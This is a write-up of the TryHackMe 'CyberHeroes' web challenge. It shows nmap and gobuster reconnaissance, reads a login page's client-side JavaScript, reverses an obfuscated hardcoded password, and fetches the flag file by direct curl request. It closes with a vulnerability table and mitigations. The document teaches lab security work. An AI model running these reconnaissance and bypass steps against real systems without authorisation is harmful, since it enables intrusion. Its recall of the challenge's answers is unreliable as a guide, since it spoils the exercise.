> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/cyberheroes-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# CyberHeroes Writeup

## Summary

CyberHeros is an easy-rated web challenge built on the iPortfolio Bootstrap template. The site advertises a "login page" challenge directly in its About section. Inspection of `login.html` reveals that authentication is performed entirely client-side in JavaScript, with the username hardcoded in plaintext and the password obfuscated by a trivial string-reversal function. Once the credentials are recovered from the page source, the same client script reveals the exact filename of a flag file hosted on the webserver, constructed dynamically from the submitted username and password. No exploitation of the server itself is required—the vulnerability is a client-side logic flaw combined with a predictable, credential-derived file path.

* **Target:** `<MACHINE_IP>`
* **Category:** Web
* **Difficulty:** Easy
* **Key weakness:** Client-side authentication with hardcoded/obfuscated credentials in JavaScript, plus a predictable flag filename built from those credentials

## Reconnaissance

Confirmed the host is up and scanned open ports:

```bash
nmap -A -Pn <MACHINE_IP> -o nmap
```

Results:

```
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4
80/tcp open  http    Apache httpd 2.4.48 (Ubuntu)
```

`http-title` identified the site as "CyberHeros : Index", running the iPortfolio Bootstrap template.

## Initial Web Enumeration

Pulled the index page and reviewed static assets (`aos.js`, `purecounter.js`, `validate.js`). All were unmodified template vendor libraries with no custom logic.

The index page's About section directly hints at the objective:

```
We find vulnerabilities in the website legally... find the vuln on our login page and login to join us.
```

The navigation bar links to `login.html`.

## Directory Enumeration

```bash
gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 50
```

Notable results:

```
assets                (Status: 301)
changelog.txt         (Status: 200) [Size: 2756]
index.html            (Status: 200) [Size: 6568]
login.html            (Status: 200) [Size: 5753]
```

No PHP backend, admin panel, or backup files were found, confirming the target is static and client-side only.

## Inspecting `login.html`

Fetched the login page source directly:

```bash
curl http://<MACHINE_IP>/login.html
```

The page ships an inline `<script>` block containing the entire authentication logic:

```javascript
function authenticate() {
  a = document.getElementById('uname')
  b = document.getElementById('pass')
  const RevereString = str => [...str].reverse().join('');
  if (a.value=="h3ck3rBoi" & b.value==RevereString("54321@terceSrepuS")) {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        document.getElementById("flag").innerHTML = this.responseText;
      }
    };
    xhttp.open("GET", "RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_"+a.value+"_"+b.value+".txt", true);
    xhttp.send();
  }
}
```

Two things fall out of this immediately:

1. The credential check happens entirely client-side, with the username hardcoded (`h3ck3rBoi`) and the password only lightly obfuscated through string reversal.
2. On a successful check, the script requests a flag file whose name is dynamically built from the raw username and password values. The filename is therefore fully derivable from the source, with no need to trigger the JavaScript in a browser.

## Recovering the Credentials

Reversing the obfuscated password string:

```
54321@terceSrepuS  ->  SuperSecret@12345
```

Recovered credentials:

```
username: h3ck3rBoi
password: SuperSecret@12345
```

## Retrieving the Flag

Reconstructed the flag filename from the JavaScript URL template and requested it directly, bypassing the browser and JavaScript:

```bash
curl "http://<MACHINE_IP>/RandomLo0o0o0o0o0o0o0o0o0o0gpath12345_Flag_h3ck3rBoi_SuperSecret@12345.txt"
```

Response:

```
Congrats Hacker, you made it !!
Go ahead and nail other challenges as well :D

flag{REDACTED}
```

## Key Vulnerabilities

| # | Vulnerability                                      | Location                                             | Impact                                                                                                                             |
| - | -------------------------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| 1 | Client-side authentication logic                   | `login.html` inline `<script>`                       | Credentials and pass/fail logic are fully readable in page source, with no server-side verification.                               |
| 2 | Weak obfuscation through string reversal           | Inline JavaScript `RevereString()`                   | Trivial to reverse by hand and provides no real protection.                                                                        |
| 3 | Predictable credential-derived sensitive file path | Inline JavaScript `xhttp.open(...)` URL construction | The flag file is directly retrievable with `curl` once credentials are known, without executing JavaScript or submitting the form. |

## Attack Chain

```
Recon (nmap: 22, 80 open)
    |
    v
Enumerate index.html -> hints at login.html
    |
    v
gobuster -> confirms login.html, no backend endpoints
    |
    v
curl login.html -> read inline <script> source
    |
    v
Extract hardcoded username + reverse obfuscated password
    |
    v
Derive flag filename from JS template string (no browser needed)
    |
    v
curl flag file directly -> flag captured
```

## Mitigations

* Never perform authentication decisions client-side; all credential validation must happen on a trusted server, with the client only submitting credentials over an authenticated session.
* Do not rely on obfuscation—encoding, reversal, or simple ciphers—as a substitute for real access control. Anything shipped to the client is fully readable by the client.
* Do not derive sensitive resource paths, such as flags, secrets, or admin files, from data already exposed to the client, including hardcoded credentials in JavaScript.
* Serve sensitive files only behind server-side, session-validated access checks, and avoid predictable or pattern-based filenames for resources not intended to be publicly enumerable.
